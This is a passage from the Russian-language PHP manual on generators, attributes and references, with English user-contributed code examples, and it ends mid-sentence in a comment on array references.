Синтаксис получения ключ/значение очень похож на синтаксис ассоциативных массивов, как показано ниже.

Пример #2 Получение пар ключ/значение

<?php
/* $input содержит пары ключ/значение разделённые точкой с запятой */

$input = <<<'EOF'
1;PHP;Любит знаки доллара
2;Python;Любит пробелы
3;Ruby;Любит блоки
EOF;

function input_parser($input) {
foreach (explode("\n", $input) as $line) {
$fields = explode(';', $line);
$id = array_shift($fields);

yield $id => $fields;
}
}

foreach (input_parser($input) as $id => $fields) {
echo "$id:\n";
echo " $fields[0]\n";
echo " $fields[1]\n";
}
?>

Результат выполнения данного примера:

1:
    PHP
    Любит знаки доллара
2:
    Python
    Любит пробелы
3:
    Ruby
    Любит блоки

Получение NULL

Для получения null нужно вызвать "yield" без аргументов. Ключ сгенерируется автоматически.

Пример #3 Получение null

<?php
function gen_three_nulls() {
foreach (range(1, 3) as $i) {
yield;
}
}

var_dump(iterator_to_array(gen_three_nulls()));
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  NULL
  [1]=>
  NULL
  [2]=>
  NULL
}

Получение значения по ссылке

Генераторы могут отдавать значения по ссылке. Это делается так же, как возврат ссылок из функций: добавлением амперсанда (&) перед именем функции.

Пример #4 Получение значений по ссылке

<?php
function &gen_reference() {
$value = 3;

while ($value > 0) {
yield $value;
}
}

/* Обратите внимание, что мы можем изменять $number в цикле, и
* так как генератор возвращает ссылку, $value
* в gen_reference() также изменится. */
foreach (gen_reference() as &$number) {
echo (--$number).'... ';
}
?>

Результат выполнения данного примера:

2... 1... 0...

Делегирование генератора с помощью yield from

Делегирование генератора позволяет вам получать значения из другого генератора, объекта Traversable, или массива, используя yield from. Внешний генератор будет возвращать значения из внутреннего генератора, объекта или массива, до того момента, пока они их отдают, после чего продолжится выполнение внешнего генератора.

Если генератор используется с yield from, то выражение yield from также будет возвращать значения из внутреннего генератора.

Предостережение

Сохранение в массив (например, с помощью iterator_to_array())

yield from не сбрасывает ключи. Ключи, возвращённые из объекта Traversable или массива, сохранятся. Таким образом, некоторые значения, могут пересекаться по ключам с другими yield или yield from, что, при записи в массив, повлечёт за собой перезапись прежних значений.

Общий случай, когда это имеет значение, это когда iterator_to_array() возвращает массив с ключами по умолчанию. В этом случае можно получить неожиданный результат. iterator_to_array() имеет второй параметр preserve_keys, который можно установить в false, для генерации собственных ключей и игнорирования ключей, переданных из объекта Generator.

Пример #5 yield from с iterator_to_array()

<?php
function inner() {
yield 1; // ключ 0
yield 2; // ключ 1
yield 3; // ключ 2
}
function gen() {
yield 0; // ключ 0
yield from inner(); // ключи 0-2
yield 4; // ключ 1
}
// Задайте false вторым параметром для получения массива [0, 1, 2, 3, 4]
var_dump(iterator_to_array(gen()));
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(4)
  [2]=>
  int(3)
}

Пример #6 Основы использования yield from

<?php
function count_to_ten() {
yield 1;
yield 2;
yield from [3, 4];
yield from new ArrayIterator([5, 6]);
yield from seven_eight();
yield 9;
yield 10;
}

function seven_eight() {
yield 7;
yield from eight();
}

function eight() {
yield 8;
}

foreach (count_to_ten() as $num) {
echo "$num ";
}
?>

Результат выполнения данного примера:

1 2 3 4 5 6 7 8 9 10

Пример #7 yield from и возвращаемые значения

<?php
function count_to_ten() {
yield 1;
yield 2;
yield from [3, 4];
yield from new ArrayIterator([5, 6]);
yield from seven_eight();
return yield from nine_ten();
}

function seven_eight() {
yield 7;
yield from eight();
}

function eight() {
yield 8;
}

function nine_ten() {
yield 9;
return 10;
}

$gen = count_to_ten();
foreach ($gen as $num) {
echo "$num ";
}
echo $gen->getReturn();
?>

Результат выполнения данного примера:

1 2 3 4 5 6 7 8 9 10

User Contributed Notes

christianggimenez at gmail dot com 24-Jun-2019 09:36
Module list of a number from 1 to 100.

<?php

function list_of_modulo(){

    for($i = 1; $i <= 100; $i++){

        if(($i % 2) == 0){
            yield $i;
        }
    }
}

$modulos = list_of_modulo();

foreach($modulos as $value){

    echo "$value\n";
}

?>
Hayley Watson 21-Dec-2015 09:14
If for some strange reason you need a generator that doesn't yield anything, an empty function doesn't work; the function needs a yield statement to be recognised as a generator.

<?php

function gndn()
{
}

foreach(gndn() as $it)
{
    echo 'FNORD';
}

?>

 But it's enough to have the yield syntactically present even if it's not reachable:

<?php

function gndn()
{
    if(false) { yield; }
}

foreach(gndn() as $it)
{
    echo 'FNORD';
}

?>
zilvinas at kuusas dot lt 16-Nov-2015 09:18
Do not call generator functions directly, that won't work.

<?php

function my_transform($value) {
    var_dump($value);
    return $value * 2;
}

function my_function(array $values) {
    foreach ($values as $value) {
        yield my_transform($value);
    }
}

$data = [1, 5, 10];
// my_transform() won't be called inside my_function()
my_function($data);

# my_transform() will be called.
foreach (my_function($data) as $val) {
    // ...
}
?>
Harun Yasar harunyasar at mail dot com 12-Jun-2015 02:43
That is a simple fibonacci generator.

<?php
function fibonacci($item) {
    $a = 0;
    $b = 1;
    for ($i = 0; $i < $item; $i++) {
        yield $a;
        $a = $b - $a;
        $b = $a + $b;
    }
}

# give me the first ten fibonacci numbers
$fibo = fibonacci(10);
foreach ($fibo as $value) {
    echo "$value\n";
}
?>
info at boukeversteegh dot nl 23-Jan-2015 07:02
[This comment replaces my previous comment]

You can use generators to do lazy loading of lists. You only compute the items that are actually used. However, when you want to load more items, how to cache the ones already loaded?

Here is how to do cached lazy loading with a generator:

<?php
class CachedGenerator {
    protected $cache = [];
    protected $generator = null;

    public function __construct($generator) {
        $this->generator = $generator;
    }

    public function generator() {
        foreach($this->cache as $item) yield $item;

        while( $this->generator->valid() ) {
            $this->cache[] = $current = $this->generator->current();
            $this->generator->next();
            yield $current;
        }
    }
}
class Foobar {
    protected $loader = null;

    protected function loadItems() {
        foreach(range(0,10) as $i) {
            usleep(200000);
            yield $i;
        }
    }

    public function getItems() {
        $this->loader = $this->loader ?: new CachedGenerator($this->loadItems());
        return $this->loader->generator();
    }
}

$f = new Foobar;

# First
print "First\n";
foreach($f->getItems() as $i) {
    print $i . "\n";
    if( $i == 5 ) {
        break;
    }
}

# Second (items 1-5 are cached, 6-10 are loaded)
print "Second\n";
foreach($f->getItems() as $i) {
    print $i . "\n";
}

# Third (all items are cached and returned instantly)
print "Third\n";
foreach($f->getItems() as $i) {
    print $i . "\n";
}
?>
christophe dot maymard at gmail dot com 11-Sep-2014 04:43
<?php
//Example of class implementing IteratorAggregate using generator

class ValueCollection implements IteratorAggregate
{
    private $items = array();

    public function addValue($item)
    {
        $this->items[] = $item;
        return $this;
    }

    public function getIterator()
    {
        foreach ($this->items as $item) {
            yield $item;
        }
    }
}

//Initializes a collection
$collection = new ValueCollection();
$collection
        ->addValue('A string')
        ->addValue(new stdClass())
        ->addValue(NULL);

foreach ($collection as $item) {
    var_dump($item);
}
denshadewillspam at HOTMAIL dot com 13-Apr-2014 10:46
Note that you can't use count() on generators.

/**
 * @return integer[]
 */
function xrange() {
    for ($a = 0; $a < 10; $a++)
    {
        yield $a;
    }
}

function mycount(Traversable $traversable)
{
    $skip = 0;
    foreach($traversable as $skip)
    {
        $skip++;
    }
    return $skip;
}
echo "Count:" . count(xrange()). PHP_EOL;
echo "Count:" . mycount(xrange()). PHP_EOL;
Shumeyko Dmitriy 08-Nov-2013 07:46
This is little example of using generators with recursion. Used version of php is 5.5.5
[php]
<?php
define ("DS", DIRECTORY_SEPARATOR);
define ("ZERO_DEPTH", 0);
define ("DEPTHLESS", -1);
define ("OPEN_SUCCESS", True);
define ("END_OF_LIST", False);
define ("CURRENT_DIR", ".");
define ("PARENT_DIR", "..");

function DirTreeTraversal($DirName, $MaxDepth = DEPTHLESS, $CurrDepth = ZERO_DEPTH)
{
  if (($MaxDepth === DEPTHLESS) || ($CurrDepth < $MaxDepth)) {
    $DirHandle = opendir($DirName);
    if ($DirHandle !== OPEN_SUCCESS) {
      try{
        while (($FileName = readdir($DirHandle)) !== END_OF_LIST) { //read all file in directory
          if (($FileName != CURRENT_DIR) && ($FileName != PARENT_DIR)) {
            $FullName = $DirName.$FileName;
            yield $FullName;
            if(is_dir($FullName)) { //include sub files and directories
              $SubTrav = DirTreeTraversal($FullName.DS, $MaxDepth, ($CurrDepth + 1));
              foreach($SubTrav as $SubItem) yield $SubItem;
            }
          }
        }
      } finally {
        closedir($DirHandle);
      }
    }
  }
}

$PathTrav = DirTreeTraversal("C:".DS, 2);
print "<pre>";
foreach($PathTrav as $FileName) printf("%s\n", $FileName);
print "</pre>";
[/php]
Adil lhan (adilmedya at gmail dot com) 18-Apr-2013 09:02
For example yield keyword with Fibonacci:

function getFibonacci()
{
    $i = 0;
    $k = 1; //first fibonacci value
    yield $k;
    while(true)
    {
        $k = $i + $k;
        $i = $k - $i;
        yield $k;
    }
}

$y = 0;

foreach(getFibonacci() as $fibonacci)
{
    echo $fibonacci . "\n";
    $y++;
    if($y > 30)
    {
        break; // infinite loop prevent
    }
}


Сравнение генераторов с объектами класса Iterator

Главное преимущество генераторов - это их простота. Гораздо меньше шаблонного кода надо написать, по сравнению с реализацией объекта класса Iterator, и этот код гораздо более простой и понятный. К примеру, эта функция и класс делают одно и то же.

<?php
function getLinesFromFile($fileName) {
if (!$fileHandle = fopen($fileName, 'r')) {
return;
}

while (false !== $line = fgets($fileHandle)) {
yield $line;
}

fclose($fileHandle);
}

// Против...

class LineIterator implements Iterator {
protected $fileHandle;

protected $line;
protected $i;

public function __construct($fileName) {
if (!$this->fileHandle = fopen($fileName, 'r')) {
throw new RuntimeException('Невозможно открыть файл "' . $fileName . '"');
}
}

public function rewind() {
fseek($this->fileHandle, 0);
$this->line = fgets($this->fileHandle);
$this->i = 0;
}

public function valid() {
return false !== $this->line;
}

public function current() {
return $this->line;
}

public function key() {
return $this->i;
}

public function next() {
if (false !== $this->line) {
$this->line = fgets($this->fileHandle);
$this->i++;
}
}

public function __destruct() {
fclose($this->fileHandle);
}
}
?>

Однако за эту простоту, впрочем, приходится платить: генераторы могут быть только однонаправленными итераторами. Их нельзя перемотать назад после старта итерации. Это также означает, что один и тот же генератор нельзя использовать несколько раз: генератор необходимо пересоздавать каждый раз, снова вызвав функцию генератора.

Смотрите также

  • Итераторы объектов

User Contributed Notes

jorgeley at gmail dot com 04-Nov-2019 09:44
I think the power of generators is underestimated here, look at my example:

<?php

/**
 * simple example class just to have something to instantiate
 */
class obj {

    private $i = 1;
    private $a = [];

    function __construct($i = 1) {
        $this->i = $i;
        $this->a = range(0, $i);
    }

    public function getI() {
        return $this->i;
    }
    //more getters and setters...
}

/**
 * this is a common way of returning objects in a bulk
 * @param int $n
 * @return \obj
 */
function returnObjects($n = 1000) {
    $objs = [];
    for ($i = 1; $i <= $n; $i++) {
        $objs[] = new obj($i);
    }
    return $objs;
}

/**
 * this is a  better way using generator, rather than returning all objects,
 * it returns one by one (it saves the state of the function in every call)
 * @param int $n
 */
function generateObjects($n = 1000) {
    for ($i = 1; $i <= $n; $i++) {
        /**
         * 'yield' returns the object and save the status of the function, so
         * next call starts from next loop iteration and so on...
         */
        yield (new obj($i));
    }
}

//main script: get current memory, run one of the functions and calculate memory usage after
$m = memory_get_peak_usage();
/**
 * comment 'returnObjects()' call bellow and uncomment 'generateObjects()' call
 * if you want to see the generator memory usage
 */
//$objs = returnObjects();

/**
 * comment 'generateObjects()' and uncomment 'returnObjects()' call if you
 * want to see the common function return memory usage
 */
$objs = generateObjects();
foreach ($objs as $obj) {
    echo get_class($obj) . ": {$obj->getI()}\n";
}
echo "total memory comsuption: " . (memory_get_peak_usage() - $m) . " bytes\n";

?>

what is the outcome? Using the 'returnObjects()' we return an array within 1000 objects, but using the 'generateObjects()' we only instantiate one object since the yield returns (stop the loop) but also saves the state of the function, so next call the function resumes rather than restarting. In my environment I got a difference of 37K to 25M
Thanks to my dear friend Ivan Frezza who helped me to understand this better!
sergeyzsg at yandex dot ru 08-Jun-2014 12:32
I think that this is bad generator example.
If user will not consume all lines then file will not be closed.

<?php
function getLinesFromFile($fileHandle) {
    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }
}

if ($fileHandle = fopen($fileName, 'r')) {
    /*
    something with getLinesFromFile
    */
    fclose($fileHandle);
}
?>
sou at oand dot re 04-Jul-2013 01:34
I think to be more similar the samples in the function, throw a new exception is better. But looking into "Generator syntax" session, you can see there this: "An empty return statement is valid syntax within a generator and it will terminate the generator.". By this point of view, we can imagine that this is just to exemplify an usage of the empty return.
mNOSPAMsenghaa at nospam dot gmail dot com 20-Jun-2013 07:45
This hardly seems a fair comparison between the two examples, size-for-size. As noted, generators are forward-only, meaning that it should be compared to an iterator with a dummy rewind function defined. Also, to be fair, since the iterator throws an exception, shouldn't the generator example also throw the same exception? The code comparison would become more like this:

<?php
function getLinesFromFile($fileName) {
    if (!$fileHandle = fopen($fileName, 'r')) {
        throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
    }

    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }

    fclose($fileHandle);
}

// versus...

class LineIterator implements Iterator {
    protected $fileHandle;

    protected $line;
    protected $i;

    public function __construct($fileName) {
        if (!$this->fileHandle = fopen($fileName, 'r')) {
            throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
        }
    }

    public function rewind() { }

    public function valid() {
        return false !== $this->line;
    }

    public function current() {
        return $this->line;
    }

    public function key() {
        return $this->i;
    }

    public function next() {
        if (false !== $this->line) {
            $this->line = fgets($this->fileHandle);
            $this->i++;
        }
    }

    public function __destruct() {
        fclose($this->fileHandle);
    }
}
?>

The generator is still obviously much shorter, but this seems a more reasonable comparison.


Атрибуты

Содержание

  • Введение в атрибуты
  • Синтаксис атрибутов
  • Чтение атрибутов с помощью Reflection API
  • Объявление классов атрибутов

User Contributed Notes

There are no user contributed notes for this page.


Введение в атрибуты

(PHP 8)

Атрибуты предлагают возможность добавлять структурированные, машиночитаемые метаданные для следующих деклараций в коде: классы, методы, функции, параметры, свойства и константы класса. Привязанные метаданные можно получить во время исполнения, используя Reflection API. Таким образом, атрибуты можно рассматривать как язык конфигурации, встроенный непосредственно в код.

С помощью атрибутов можно разделить абстрактную реализацию какой-либо функциональности и особенности её использования в коде. В некотором смысле это можно сравнить с разделением интерфейса и его реализаций. Но интерфейсы и реализации - это про код, а атрибуты - про добавление дополнительной информации и конфигурацию. Интерфейсы могут реализовываться только классами, тогда как атрибуты также применимы для методов, функций, параметров, свойств и констант классов. Таким образом, они представляют собой гораздо более гибкий механизм, чем интерфейсы.

Давайте разберём использование атрибутов на простом примере реализации опциональных методов для интерфейса. Допустим, что интерфейс ActionHandler описывает некую операцию в приложении. Одни реализации этого интерфейса требуют предварительной настройки, а другие - нет. И вместо того, чтобы вносить в интерфейс ActionHandler дополнительный метод setUp(), который для части реализаций будет пустым, можно использовать атрибут. Одним из преимуществ этого подхода является то, что мы можем использовать атрибут несколько раз.

Пример #1 Реализация опциональных методов интерфейса с помощью атрибутов

<?php
interface ActionHandler
{
public function execute();
}

#[Attribute]
class SetUp {}

class CopyFile implements ActionHandler
{
public string $fileName;
public string $targetDirectory;

#[SetUp]
public function fileExists()
{
if (!file_exists($this->fileName)) {
throw new RuntimeException("File does not exist");
}
}

#[SetUp]
public function targetDirectoryExists()
{
if (!file_exists($this->targetDirectory)) {
mkdir($this->targetDirectory);
} elseif (!is_dir($this->targetDirectory)) {
throw new RuntimeException("Target directory $this->targetDirectory is not a directory");
}
}

public function execute()
{
copy($this->fileName, $this->targetDirectory . '/' . basename($this->fileName));
}
}

function executeAction(ActionHandler $actionHandler)
{
$reflection = new ReflectionObject($actionHandler);

foreach ($reflection->getMethods() as $method) {
$attributes = $method->getAttributes(SetUp::class);

if (count($attributes) > 0) {
$methodName = $method->getName();

$actionHandler->$methodName();
}
}

$actionHandler->execute();
}

$copyAction = new CopyFile();
$copyAction->fileName = "/tmp/foo.jpg";
$copyAction->targetDirectory = "/home/user";

executeAction($copyAction);

User Contributed Notes

Florian Krmer 05-Nov-2022 09:57
I've tried Harshdeeps example and it didn't run out of the box and I think it is not complete, so I wrote a complete and working naive example regarding attribute based serialization.

<?php
declare(strict_types=1);

#[Attribute(Attribute::TARGET_CLASS_CONSTANT|Attribute::TARGET_PROPERTY)]
class JsonSerialize
{
    public function __construct(public ?string $fieldName = null) {}
}

class VersionedObject
{
    #[JsonSerialize]
    public const version = '0.0.1';
}

class UserLandClass extends VersionedObject
{
    protected string $notSerialized = 'nope';

    #[JsonSerialize('foobar')]
    public string $myValue = '';

    #[JsonSerialize('companyName')]
    public string $company = '';

    #[JsonSerialize('userLandClass')]
    protected ?UserLandClass $test;

    public function __construct(?UserLandClass $userLandClass = null)
    {
        $this->test = $userLandClass;
    }
}

class AttributeBasedJsonSerializer {

    protected const ATTRIBUTE_NAME = 'JsonSerialize';

    public function serialize($object)
    {
        $data = $this->extract($object);

        return json_encode($data, JSON_THROW_ON_ERROR);
    }

    protected function reflectProperties(array $data, ReflectionClass $reflectionClass, object $object)
    {
        $reflectionProperties = $reflectionClass->getProperties();
        foreach ($reflectionProperties as $reflectionProperty) {
            $attributes = $reflectionProperty->getAttributes(static::ATTRIBUTE_NAME);
            foreach ($attributes as $attribute) {
                $instance = $attribute->newInstance();
                $name = $instance->fieldName ?? $reflectionProperty->getName();
                $value = $reflectionProperty->getValue($object);
                if (is_object($value)) {
                    $value = $this->extract($value);
                }
                $data[$name] = $value;
            }
        }

        return $data;
    }

    protected function reflectConstants(array $data, ReflectionClass $reflectionClass)
    {
        $reflectionConstants = $reflectionClass->getReflectionConstants();
        foreach ($reflectionConstants as $reflectionConstant) {
            $attributes = $reflectionConstant->getAttributes(static::ATTRIBUTE_NAME);
            foreach ($attributes as $attribute) {
                $instance = $attribute->newInstance();
                $name = $instance->fieldName ?? $reflectionConstant->getName();
                $value = $reflectionConstant->getValue();
                if (is_object($value)) {
                    $value = $this->extract($value);
                }
                $data[$name] = $value;
            }
        }

        return $data;
    }

    protected function extract(object $object)
    {
        $data = [];
        $reflectionClass = new ReflectionClass($object);
        $data = $this->reflectProperties($data, $reflectionClass, $object);
        $data = $this->reflectConstants($data, $reflectionClass);

        return $data;
    }
}

$userLandClass = new UserLandClass();
$userLandClass->company = 'some company name';
$userLandClass->myValue = 'my value';

$userLandClass2 = new UserLandClass($userLandClass);
$userLandClass2->company = 'second';
$userLandClass2->myValue = 'my second value';

$serializer = new AttributeBasedJsonSerializer();
$json = $serializer->serialize($userLandClass2);

var_dump(json_decode($json, true));
Harshdeep 04-Mar-2022 05:22
While the example displays us what we can accomplish with attributes, it should be kept in mind that the main idea behind attributes is to attach static metadata to code (methods, properties, etc.).

This metadata often includes concepts such as "markers" and "configuration". For example, you can write a serializer using reflection that only serializes marked properties (with optional configuration, such as field name in serialized file). This is reminiscent of serializers written for C# applications.

That said, full reflection and attributes go hand in hand. If your use case is satisfied by inheritance or interfaces, prefer that. The most common use case for attributes is when you have no prior information about the provided object/class.

<?php
interface JsonSerializable
{
    public function toJson() : array;
}
?>

versus, using attributes,
<?php

#[Attribute]
class JsonSerialize
{
    public function __constructor(public ?string $fieldName = null) {}
}

class VersionedObject
{
   #[JsonSerialize]
    public const version = '0.0.1';
}

public class UserLandClass extends VersionedObject
{
    #[JsonSerialize('call it Jackson')]
    public string $myValue;
}

?>
The example above is a little extra convoluted with the existence of the VersionedObject class as I wished to display that with attribute mark ups, you do not need to care how the base class manages its attributes (no call to parent in overriden method).
Justin 28-Feb-2022 08:41
Allowing multiple functions to be tagged with the same Attribute is promoting weird design patterns. Because now the order of the tagged functions within the class becomes relevant. The order of functions within a class should remain arbitrary.

It would be better to limit function tagging to one Attribute only. This would force people to implement one function per attribute, which can then call all the other functions they would otherwise tag with these Attribute's.


Синтаксис атрибутов

Синтаксис атрибутов состоит из нескольких частей. Для начала декларация атрибута всегда начинается с символа #[ и заканчивается ]. Внутри перечисление из одного или более, разделённых запятой, атрибутов. Атрибуты можно задавать с помощью неполных, полных и абсолютных имён, как описано в разделе Использование пространства имён: основы. Аргументы атрибутов опциональны, но если они есть, то заключаются в скобки (). Аргументы атрибутов могут быть либо конкретными значениями, либо константными выражениями. Для аргументов можно использовать как позиционный синтаксис, так и синтаксис именованных аргументов.

Когда атрибут запрашивается с помощью Reflection API, его имя трактуется как имя класса, а аргументы передаются в его конструктор. Таким образом, для каждого атрибута должен существовать соответствующий класс.

Пример #1 Синтаксис атрибутов

<?php
// a.php
namespace MyExample;

use Attribute;

#[Attribute]
class MyAttribute
{
const VALUE = 'value';

private $value;

public function __construct($value = null)
{
$this->value = $value;
}
}

// b.php

namespace Another;

use MyExample\MyAttribute;

#[MyAttribute]
#[\MyExample\MyAttribute]
#[MyAttribute(1234)]
#[MyAttribute(value: 1234)]
#[MyAttribute(MyAttribute::VALUE)]
#[MyAttribute(array("key" => "value"))]
#[MyAttribute(100 + 200)]
class Thing
{
}

#[MyAttribute(1234), MyAttribute(5678)]
class AnotherThing
{
}

User Contributed Notes

There are no user contributed notes for this page.


Чтение атрибутов с помощью Reflection API

Для доступа к атрибутам классов, методов, функций, параметров, свойств и констант класса, в Reflection API присутствует метод getAttributes() для каждого из перечисленных объектов рефлексии. Этот метод возвращает массив экземпляров ReflectionAttribute, у каждого из которых можно запросить имя атрибута и его аргументы, а также создать объект, представляющего атрибут.

Такое отделение свойств атрибута от явного создания объекта даёт программисту более полный контроль над обработкой ошибок, связанных с отсутствующим классом атрибута и некорректностью его аргументов. Объект атрибута будет создан и проверен на корректность аргументов только после вызова ReflectionAttribute::newInstance(), не раньше.

Пример #1 Чтение атрибутов с помощью Reflection API

<?php

#[Attribute]
class MyAttribute
{
public $value;

public function __construct($value)
{
$this->value = $value;
}
}

#[MyAttribute(value: 1234)]
class Thing
{
}

function dumpAttributeData($reflection) {
$attributes = $reflection->getAttributes();

foreach ($attributes as $attribute) {
var_dump($attribute->getName());
var_dump($attribute->getArguments());
var_dump($attribute->newInstance());
}
}

dumpAttributeData(new ReflectionClass(Thing::class));
/*
string(11) "MyAttribute"
array(1) {
["value"]=>
int(1234)
}
object(MyAttribute)#3 (1) {
["value"]=>
int(1234)
}
*/

Вместо того, чтобы последовательно перебирать все атрибуты объекта рефлексии, можно указать имя класса в качестве аргумента и получить только подходящие атрибуты.

Пример #2 Чтение конкретных атрибутов с помощью Reflection API

<?php

function dumpMyAttributeData($reflection) {
$attributes = $reflection->getAttributes(MyAttribute::class);

foreach ($attributes as $attribute) {
var_dump($attribute->getName());
var_dump($attribute->getArguments());
var_dump($attribute->newInstance());
}
}

dumpMyAttributeData(new ReflectionClass(Thing::class));

User Contributed Notes

Hirusha Sharma 08-Mar-2021 08:34
Fetch properties from functions:

----------------------------------------
Function definition with attributes:
----------------------------------------
#[ReadOnly]
#[Property(type: 'function', name: 'Hello')]
function Hello()
{
    return "Hello";
}

-----------------------------------------
Gather attributes from the function
-----------------------------------------
function getAttributes(Reflector $reflection)
{
    $attributes = $reflection->getAttributes();
    $result = [];
    foreach ($attributes as $attribute)
    {
        $result[$attribute->getName()] = $attribute->getArguments();
    }
    return $result;
}

$reflection = new ReflectionFunction("Hello");
print_r(getAttributes($reflection));

-----------------------------
OUTPUT
-----------------------------
Array
(
    [ReadOnly] => Array
        (
        )

    [Property] => Array
        (
            [type] => function
            [name] => Hello
        )

)


Объявление классов атрибутов

Создавать классы для атрибутов не обязательно, но крайне рекомендуется. В самом простом случае требуется просто пустой класс с атрибутом #[Attribute], который можно импортировать из глобального пространства имён с помощью оператора use.

Пример #1 Простой класс с атрибутом

<?php

namespace Example;

use Attribute;

#[Attribute]
class MyAttribute
{
}

Для ограничения того, с каким типом деклараций можно использовать конкретный атрибут, можно передать битовую маску первым параметром в #[Attribute].

Пример #2 Ограничение допустимых сущностей для использования атрибута

<?php

namespace Example;

use Attribute;

#[Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_FUNCTION)]
class MyAttribute
{
}

После этого аннотирование атрибутом MyAttribute чего-либо, отличающегося от метода или функции, приведёт к выбрасыванию исключения при вызове ReflectionAttribute::newInstance().

Можно указать следующие сущности:

  • Attribute::TARGET_CLASS
  • Attribute::TARGET_FUNCTION
  • Attribute::TARGET_METHOD
  • Attribute::TARGET_PROPERTY
  • Attribute::TARGET_CLASS_CONSTANT
  • Attribute::TARGET_PARAMETER
  • Attribute::TARGET_ALL

По умолчанию атрибут можно использовать только один раз для каждой сущности. Если нужна возможность указывать несколько одинаковых атрибутов для одной сущности - можно выставить соответствующий флаг в битовой маске для декларации #[Attribute].

Пример #3 Использование IS_REPEATABLE для разрешения использовать атрибут в объявлении несколько раз

<?php

namespace Example;

use Attribute;

#[Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_FUNCTION | Attribute::IS_REPEATABLE)]
class MyAttribute
{
}

User Contributed Notes

esdras-schonevald 22-Dec-2021 03:28
#! Require PHP >= 8.0

#! This is a Sample

<?php

declare(strict_types = 1);

#[Attribute]
class Foo
{
    function __construct(){
        echo "Running " . __METHOD__ . PHP_EOL;
    }
}

#[Attribute(Attribute::TARGET_CLASS|Attribute::IS_REPEATABLE)]
class Bar {
    function __construct(?string ...$args){
        echo "Running " . __METHOD__ ,
            " args: " . implode(", ", $args) . PHP_EOL;
    }
}

#[Attribute(Attribute::TARGET_ALL)]
class Baz {
    function __construct(
        private string $parameter
    ){
        echo "Running " . __METHOD__ ,
            " arg: " . $this->parameter . PHP_EOL;
    }
}

#[Foo]                                      // [0]
#[Bar]                                      // [1]
#[Bar("Banana")]                            // [2]
#[Bar("Banana", "Apple", "Lemon", "Grape")] // [3]
#[Baz("The Only One")]                      // [4]
class Qux
{
}

// Getting class attribute with ReflectionClass
$ref    =   new ReflectionClass(Qux::class);
$attrs  =   $ref->getAttributes(); // Array of attributes

$attrs[0]->newInstance(); // "Running Foo::__construct"
$attrs[1]->newInstance(); // "Running Bar::__construct args: "
$attrs[2]->newInstance(); // "Running Bar::__construct args: Banana"
$attrs[3]->newInstance(); // "Running Bar::__construct args: Banana, Apple, Lemon, Grape"
$attrs[4]->newInstance(); // "Running Baz::__construct arg: The Only One"


Объяснение ссылок

Содержание

  • Что такое ссылки
  • Что делают ссылки
  • Чем ссылки не являются
  • Передача по ссылке
  • Возврат по ссылке
  • Сброс переменных-ссылок
  • Неявное использование механизма ссылок

User Contributed Notes

info at fedushin dot ru 07-Jul-2021 08:38
Arrays of references are supported:

<?php
$x = 1;
$y = 2;
$z = 3;

$arr = [&$x, &$y, &$z];

foreach($arr as &$item)
    $item = 10;

var_dump($x, $y, $z);
?>

Output:

int(10) int(10) int(10)
dallgoot 09-Jun-2018 04:09
After some headaches, here is a function to check if, between 2 variables $a,$b check if one is a reference to the other.
It means they "point" to the same value.
Tested on :
PHP 7.2.2 (cli) (built: Jan 31 2018 19:31:17) ( ZTS MSVC15 (Visual C++ 2017) x64 )
Hope that helps...
<?php

function are_references(&$a, &$b){
    $mem = $a;     //memorize
    $a = uniqid ("REFERENCE???", true ); //change $a
    $same = $a === $b; //compare
    $a = $mem; //restore $a
    return $same;
}
echo "***distinct vars AND distinct values\n";
$a = "toto";
$b = "tata";

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";

echo "***distinct vars BUT SAME values\n";
$a = "toto";
$b = "toto";

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";

echo '*** $b is a reference of $a'."\n";
$a = "titi";
$b = &$a;

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";

echo '*** $a is a reference of $b'."\n";
$b = "titi";
$a = &$b;

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";
?>
Result:
***distinct vars AND distinct values
string(4) "toto"
string(4) "tata"
bool(false)
verify original values: toto, tata
***distinct vars BUT SAME values
string(4) "toto"
string(4) "toto"
bool(false)
verify original values: toto, toto
*** $b is a reference of $a
string(4) "titi"
string(4) "titi"
bool(true)
verify original values: titi, titi
*** $a is a reference of $b
string(4) "titi"
string(4) "titi"
bool(true)
verify original values: titi, titi
jszoja at gmail dot com 23-Mar-2016 11:09
Be aware of a reference to another reference. It is probably bad practice to even do that.

<?php
    class Obj1 { public $name = 'Obj1'; }
    class Obj2 { public $name = 'Obj2'; }

    $objects = [];
    $toLoad = [ 'Obj1', 'Obj2' ];

    foreach( $toLoad as $i => $obj )
    {
        $ref = new $obj();
        $objects[$i] =& $ref; // a reference to a reference
        // $objects[$i] = $ref; // that would work
    }

    echo $objects[0]->name;
        // outputs 'Obj2' !
?>
Someone 16-Dec-2015 09:37
Another example of something to watch out for when using references with arrays.  It seems that even an usused reference to an array cell modifies the *source* of the reference.  Strange behavior for an assignment statement (is this why I've seen it written as an =& operator?  - although this doesn't happen with regular variables).
<?php
    $array1 = array(1,2);
    $x = &$array1[1];   // Unused reference
    $array2 = $array1;  // reference now also applies to $array2 !
    $array2[1]=22;      // (changing [0] will not affect $array1)
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 22    // var_dump() will show the & here
    )

//above was Noted By Dave at SymmetricDesign dot com//
//and below is my opinion to this simple problem. //

This is an normal referencing problem.

when you gain an reference to a memory at some variable.
this variable, means "memory itself". (in above example, this would be ->  $x = &$array1[1];   // Unused reference)

and you've copied original one($array1) to another one($array2).
and the copy means "paste everything on itself". including references or pointers, etcs. so, when you copied $array1 to $array2, this $array2 has same referencers that original $array1 has. meaning that $x = &$array1[1]  = &$array2[1];
and again i said above. this reference means "memory itself".
when you choose to inserting some values to $array2[1],
